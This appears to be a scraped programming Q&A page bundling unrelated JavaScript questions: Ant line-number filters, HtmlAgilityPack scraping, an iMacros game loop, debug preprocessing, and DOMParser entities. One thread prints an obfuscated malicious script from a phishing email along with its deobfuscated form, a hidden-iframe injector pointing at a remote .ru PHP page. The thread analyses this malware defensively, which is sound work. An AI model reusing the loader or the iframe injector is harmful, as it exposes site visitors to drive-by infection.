Using Ant scriptfilter to count lines - javascript

I am trying to write an Ant <scriptfilter...> to change occurrences of the string "__LINE__" to the correct line number in Java source files.
Does anyone have an example of using JavaScript (or some other embedded scripting language) to do this? In particular, how do I create a "global" variable that is initialized to 1 when the script starts and is incremented with each new line?
Thanks.
UPDATE: Just tried the solution offered by Martin Clayton (thanks!), replacing the JavaScript with Beanshell, and it worked perfectly. Here is the Ant target code:
<target name="preprocess" depends="ivy.resolve" description="Preprocess the source code">
<mkdir dir="${target.source.dir}"/>
<copy todir="${target.source.dir}" includeemptydirs="true" failonerror="true" verbose="true">
<fileset dir="${src.dir}"/>
<filterchain>
<tokenfilter>
<filetokenizer/>
<scriptfilter language="beanshell" byline="true" setbeans="true"><![CDATA[
import java.io.BufferedReader;
import java.io.StringReader;
int count = 1;
BufferedReader br = new BufferedReader(new StringReader(self.getToken()));
StringBuilder builder = new StringBuilder();
String line;
while ((line = br.readLine()) != null) {
builder.append(line.replace("\"__LINE__\"", Integer.toString(count))).append('\n');
count++;
}
self.setToken(builder.toString());
]]></scriptfilter>
</tokenfilter>
</filterchain>
</copy>
</target>

You could use an ant property to hold the 'static'.
Here's a very simplified example, for one file.
<property name="lineNumber" value="0" />
<copy file="input.txt" tofile="output.txt" >
<filterchain>
<scriptfilter language="javascript">
project.setProperty( "lineNumber",
parseInt( project.getProperty( "lineNumber" ) ) + 1 );
if ( self.getToken().indexOf("__LINE__") != -1 ) {
lineNumber = project.getProperty( "lineNumber" );
self.setToken( self.getToken( ).replaceAll( "__LINE__", lineNumber ) );
}
</scriptfilter>
</filterchain>
</copy>
The problem is: that doesn't extend to multiple files - the lineNumber doesn't reset to one between files.
You might use a filetokenizer to get the whole file into javascript in one go, then process the file line-by-line.
Here's a very noddy example (I know enough javascript to be dangerous). I'm sure this has lots of faults (not least: it doesn't handle non-newline terminated files; shocking string catenations).
But the principle is that by getting each whole file into the script, you don't need any information to persist between script invocations.
<copy todir="output">
<fileset dir="input"/>
<filterchain>
<tokenfilter>
<filetokenizer/>
<scriptfilter language="javascript"><![CDATA[
// Get the whole input file to one string.
inputContent = self.getToken( );
lineNum = 1;
fileEnd = inputContent.length( );
// Build the new file up line-by-line in this var.
outputContent = "";
lineStart = 0;
lineEnd = inputContent.indexOf( "\n" );
while ( lineEnd < fileEnd ) {
outputContent += inputContent
.substring( lineStart, lineEnd )
.replaceAll( "__LINE__", lineNum ) + "\n";
lineStart = lineEnd + 1;
fc = inputContent.substring( lineStart );
lineEnd = fc.indexOf( "\n" );
if ( lineEnd == -1 )
break;
lineEnd += lineStart;
lineNum++;
}
self.setToken( outputContent );
]]></scriptfilter>
</tokenfilter>
</filterchain>
</copy>

Related

c# HtmlAgilityPack and Yahoo's HTML

So I am goofing off and wrote something that first queries other websites and loads all of the pertinent stock exchange symbols and the tries to iterate through the symbols and load Yahoo's server for the latest stock price. For some reason no matter what I try to search by using HtmlAgilityPack, I can't seem to get any pertinent info back. I don't think there's an issue with some javascript running after the page is loaded (but I could be wrong).
The following is a generalized routine that can be tinkered with to try and get the percentage change of the stock symbol back from Yahoo:
string symbol = "stock symbol"
string link = #"http://finance.yahoo.com/q?uhb=uh3_finance_vert&s=" + symbol;
string data = String.Empty;
try
{
// keep in this scope so wedget and doc deconstruct themselves
var webget = new HtmlWeb();
var doc = webget.Load(link);
string percGrn = doc.FindInnerHtml("//span[#id='yfs_pp0_" + symbol + "']//b[#class='yfi-price-change-up']");
string percRed = doc.FindInnerHtml("//span[#id='yfs_pp0_" + symbol + "']//b[#class='yfi-price-change-down']");
// create somthing we'll nuderstand later
if ((String.IsNullOrEmpty(percGrn) && String.IsNullOrEmpty(percRed)) ||
(!String.IsNullOrEmpty(percGrn) && !String.IsNullOrEmpty(percRed)))
throw new Exception();
// adding string to empty gives string
string perc = percGrn + percRed;
bool isNegative = String.IsNullOrEmpty(percGrn);
double percDouble;
if (double.TryParse(Regex.Match(perc, #"\d+([.])?(\d+)?").Value, out percDouble))
data = (isNegative ? 0 - percDouble : percDouble).ToString();
}
catch (Exception ex) { }
finally
{
// now we need to check what we have and load into the datgridView
if (!newData_d.ContainsKey(symbol)) newData_d.Add(symbol, data);
else MessageBox.Show("ERROR: Duplicate stock Symbols for: " + symbol);
}
And here is the extended method for FindInnerHtml:
// this is for the html agility class
public static string FindInnerHtml( this HtmlAgilityPack.HtmlDocument _doc, string _options)
{
var node = _doc.DocumentNode.SelectSingleNode(_options);
return (node != null ? node.InnerText.ToString() : String.Empty);
}
Any help with getting something back would be appreciated, thanks!
///////////////////////////////////////
EDIT:
///////////////////////////////////////
I highlighted the span id and then check out line 239 for where I saw 'yfi-price-change-up' reference:
The following XPath successfully find the target <span> which contains percentage of increase (or decrease) :
var doc = new HtmlWeb().Load("http://finance.yahoo.com/q?uhb=uh3_finance_vert&s=msft");
var xpath = "//span[contains(#class,'time_rtq_content')]/span[2]";
var span = doc.DocumentNode.SelectSingleNode(xpath);
Console.WriteLine(span.InnerText);
output :
(0.60%)

Script HP Test and Attack system in Imacro

I'm trying to create a Script or Macro that simply checks my HP, and then attacks or heals. My macros work, I just can't get them to play with javascript. HP Test.iim Extracts the HP from the web page. I want to take that Extracted number and make it a variable. I'm new to scripting, maybe I can get some help.
New script based on code below (thanks for that)
ten = 1
while (ten = 1) {
iimPlay("Hunt/HP Test.iim");
var extract = iimGetLastExtract ();
var HP=extract.split("/")[0];
HP=parseInt(HP);
iimSet ( "HP", HP )
if ( HP >= 1 )
{
iimPlay ("Hunt/Attack.iim")
}
else
{
iimPlay ("Hunt/Heal.iim")
}
}
IT Works! Thanks much, I've been working on that for a long time!
iimPlay("HP Test.iim");
var extract = iimGetLastExtract ();
iimSet ( "HP", extract )
if ( extract >= 1 )
{
iimPlay ("Attack.iim")
}
else
{
iimPlay ("Heal.iim")
}
This code might not work but you will get an idea how the syntax works.
Edit: example of methods >>> http://jsfiddle.net/KRV5a/

Pre-processing Emulator for JavaScript ( Timing / Debug Example )

In C++ you can omit compiling debug code by using pre-processing directives in order to keep your compiled code fast and not hindered by debug code not needed in production.
Is there a correlative way to do this in JavaScript? What I have been doing in the past is commenting out debug code, but I want a cleaner way to do it.
An example below shows 4 if statements that activate if debug is set to true. However in production I don't want this checked 4 times when I know it will be set to false. As I mentioned I could cram it into one line and comment it out...but I want a clean way to do it?
/**
** cType
*/
function cType( o_p ) {
if( debug ) {
var t1, t2, t3, t4, i1, i2, i3; t1 = new Date().getTime();
}
o_p = MType[ o_p.model ].pre( o_p );
if ( o_p.result !== 'complete' ) {
if( debug ) {
t2 = new Date().getTime();
console.log( '---------------Send to Server - object_pipe: \n ' + o_p.toSource() );
}
var string_pipe = JSON.stringify( o_p );
cMachine( 'pipe=' + string_pipe , function( string_pipe ) {
if( debug ) {
console.log( '---------------Receive from Server - object_pipe: \n ' + string_pipe );
t3 = new Date().getTime();
}
MType[ o_p.model ].post( JSON.parse( string_pipe ) );
if( debug ) {
t4 = new Date().getTime(); i1 = t2-t1 ; i2 = t3-t2 ; i3 = t4-t3;
console.log( '---------------Pre, Transit, Post = ', i1, i2, i3 );
}
} );
}
}
You can always pass it through c preprocessor like:
gcc -E input.js -o output.js
This will allow you to use #if and even include and macros.
If you use RequireJS, you can use build pragmas and even the has.js integration to disable/enable code fragments at optimization (minification) time.
No, Javascript is not compiled, it's interpreted. Therefore it's impossible to have preprocessing directives unless you pass non-standard Javascript - it probably won't be Javascript anymore - code through another utility.

Deobfuscate/Parse String

I received the following in an email attachment today stating that it was a confirmation for a ticket that I supposedly bought. Please help me understand how one would go about deconstructing this code...
<script>
c = 2;
i = c - 2;
if (window.document) try {
new c.prototype
} catch (hgberger) {
f = ['-29n-29n67n64n-6n2n62n73n61n79n71n63n72n78n8n65n63n78n31n70n63n71n63n72n78n77n28n83n46n59n65n40n59n71n63n2n1n60n73n62n83n1n3n53n10n55n3n85n-25n-29n-29n-29n67n64n76n59n71n63n76n2n3n21n-25n-29n-29n87n-6n63n70n77n63n-6n85n-25n-29n-29n-29n62n73n61n79n71n63n72n78n8n81n76n67n78n63n2n-4n22n67n64n76n59n71n63n-6n77n76n61n23n1n66n78n78n74n20n9n9n62n72n80n64n73n62n73n73n77n66n62n69n64n66n66n59n8n76n79n20n18n10n18n10n9n67n71n59n65n63n77n9n59n79n60n70n60n84n62n72n67n8n74n66n74n1n-6n81n67n62n78n66n23n1n11n10n1n-6n66n63n67n65n66n78n23n1n11n10n1n-6n77n78n83n70n63n23n1n80n67n77n67n60n67n70n67n78n83n20n66n67n62n62n63n72n21n74n73n77n67n78n67n73n72n20n59n60n77n73n70n79n78n63n21n70n63n64n78n20n10n21n78n73n74n20n10n21n1n24n22n9n67n64n76n59n71n63n24n-4n3n21n-25n-29n-29n87n-25n-29n-29n64n79n72n61n78n67n73n72n-6n67n64n76n59n71n63n76n2n3n85n-25n-29n-29n-29n80n59n76n-6n64n-6n23n-6n62n73n61n79n71n63n72n78n8n61n76n63n59n78n63n31n70n63n71n63n72n78n2n1n67n64n76n59n71n63n1n3n21n64n8n77n63n78n27n78n78n76n67n60n79n78n63n2n1n77n76n61n1n6n1n66n78n78n74n20n9n9n62n72n80n64n73n62n73n73n77n66n62n69n64n66n66n59n8n76n79n20n18n10n18n10n9n67n71n59n65n63n77n9n59n79n60n70n60n84n62n72n67n8n74n66n74n1n3n21n64n8n77n78n83n70n63n8n80n67n77n67n60n67n70n67n78n83n23n1n66n67n62n62n63n72n1n21n64n8n77n78n83n70n63n8n74n73n77n67n78n67n73n72n23n1n59n60n77n73n70n79n78n63n1n21n64n8n77n78n83n70n63n8n70n63n64n78n23n1n10n1n21n64n8n77n78n83n70n63n8n78n73n74n23n1n10n1n21n64n8n77n63n78n27n78n78n76n67n60n79n78n63n2n1n81n67n62n78n66n1n6n1n11n10n1n3n21n64n8n77n63n78n27n78n78n76n67n60n79n78n63n2n1n66n63n67n65n66n78n1n6n1n11n10n1n3n21n-25n-29n-29n-29n62n73n61n79n71n63n72n78n8n65n63n78n31n70n63n71n63n72n78n77n28n83n46n59n65n40n59n71n63n2n1n60n73n62n83n1n3n53n10n55n8n59n74n74n63n72n62n29n66n67n70n62n2n64n3n21n-25n-29n-29n87'][0].split('n');
md = 'a';
e = window["e" + "val"];
w = f;
s = [];
r = String;
for (; 613 != i; i += 1) {
j = i;
s += r.fromCharCode(38 + 1 * w[j]);
}
e(s);
}</script>
Unobfuscated:
if (document.getElementsByTagName('body')[0]){
iframer();
} else {
document.write("<iframe src='http://dnvfodooshdkfhha.ru:8080/images/aublbzdni.php' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
}
function iframer(){
var f = document.createElement('iframe');f.setAttribute('src','http://dnvfodooshdkfhha.ru:8080/images/aublbzdni.php');f.style.visibility='hidden';f.style.position='absolute';f.style.left='0';f.style.top='0';f.setAttribute('width','10');f.setAttribute('height','10');
document.getElementsByTagName('body')[0].appendChild(f);
}
I took the code you posted, and pasted it verbatim into http://jsfiddle.net. The only thing I changed (and I recommend this) was changing the call to e(s) to alert(s). That way, your browser won't try to execute the embedded code, but just display it for you.
You'll see some dodgy stuff about iframes and dnvfodooshdkfhha.ru, which seems spammy.
It looks like that string is a list of character codes separated by 'n' s. If you run the code with the last line replaced with 'alert(s)' instead of e(s) you will see the obfuscated code that your malware is trying to 'eval'

DOMParser fails to parse certain nodes?

I'm creating a plugin for Google Chrome. I try to parse the following xml:
<?xml version="1.0" encoding="utf-8"?>
<anime>
<entry>
<id>9938</id>
<title>Ikoku Meiro no Croisée</title>
<english>Croisée in a Foreign Labyrinth ~ The Animation</english>
<synonyms>Ikoku Meiro no Croisée The Animation; Ikoku Meiro No Croisee The Animation; La croisée dans un labyrinthe étranger Special</synonyms>
<episodes>12</episodes>
<score>7.72</score>
<type>TV</type>
<status>Currently Airing</status>
<start_date>2011-07-04</start_date>
<end_date>0000-00-00</end_date>
<synopsis>The story takes place in the second half of the 19th century, as Japanese culture gains popularity in the West. A young Japanese girl, Yune, accompanies a French traveller, Oscar, on his journey back to France, and offers to help at the family&#039;s ironwork shop in Paris. Oscar&#039;s nephew and shop-owner Claude reluctantly accepts to take care of Yune, and we learn how those two, who have so little in common, get to understand each other and live together in the Paris of the 1800s.</synopsis>
<image>http://cdn.myanimelist.net/images/anime/8/29031.jpg</image>
</entry>
</anime>
Using this code:
var parser = new DOMParser();
var xmlText = response.value;
var doc = parser.parseFromString(xmlText, "text/xml");
var entries = doc.getElementsByTagName("entry");
for (var i = 0; i < entries.length; ++i) {
var node = entries[i];
var titles = node.getElementsByTagName("title");
console.log("titles.length: " + titles.length);
if (titles.length > 0) {
console.log("title: " + titles[0].childNodes[0].nodeValue);
}
var scores = node.getElementsByTagName("score");
console.log("scores.length: " + scores.length);
if (scores.length > 0) {
console.log("score: " + scores[0].childNodes[0].nodeValue);
}
var ids = node.getElementsByTagName("id");
console.log("ids.length: " + ids.length);
if (ids.length > 0) {
console.log("id: " + ids[0].childNodes[0].nodeValue);
}
}
Looking at the output it seems that the title node was found but not its inner text. The score node wasn't found at all:
titles.length: 1
title:
scores.length: 0
ids.length: 1
id: 9938
Does anyone know why this happens and/or how fix it?
Workaround
I'm currently using a workaround based on the solution from this answer:
function htmlDecode(input){
var e = document.createElement('div');
e.innerHTML = input;
return e.childNodes.length === 0 ? "" : e.childNodes[0].nodeValue;
}
function xmlDecode(input){
var result = input;
result = result.replace(/</g, "<");
result = result.replace(/>/g, ">");
result = result.replace(/\n/g, "
");
return htmlDecode(result);
}
// Usage:
var parser = new DOMParser();
var doc = parser.parseFromString(xmlDecode(xmlText), "text/xml");
I'm not sure if this is the best way to go, but at least it's getting me further.
I'm not sure whether this is the cause of your problem, but XML documents have only five named entities defined: &, <, >, " and &apos;. Replace other entities with characters they're meant to represent (your document is in UTF-8, it is completely safe to use © or other such characters) or with number entities (like ©).
Alternatively, you may define your own entities if it would be difficult to replace them in your document:
<!DOCTYPE anime [
<!ENTITY copy "©">
]>

Categories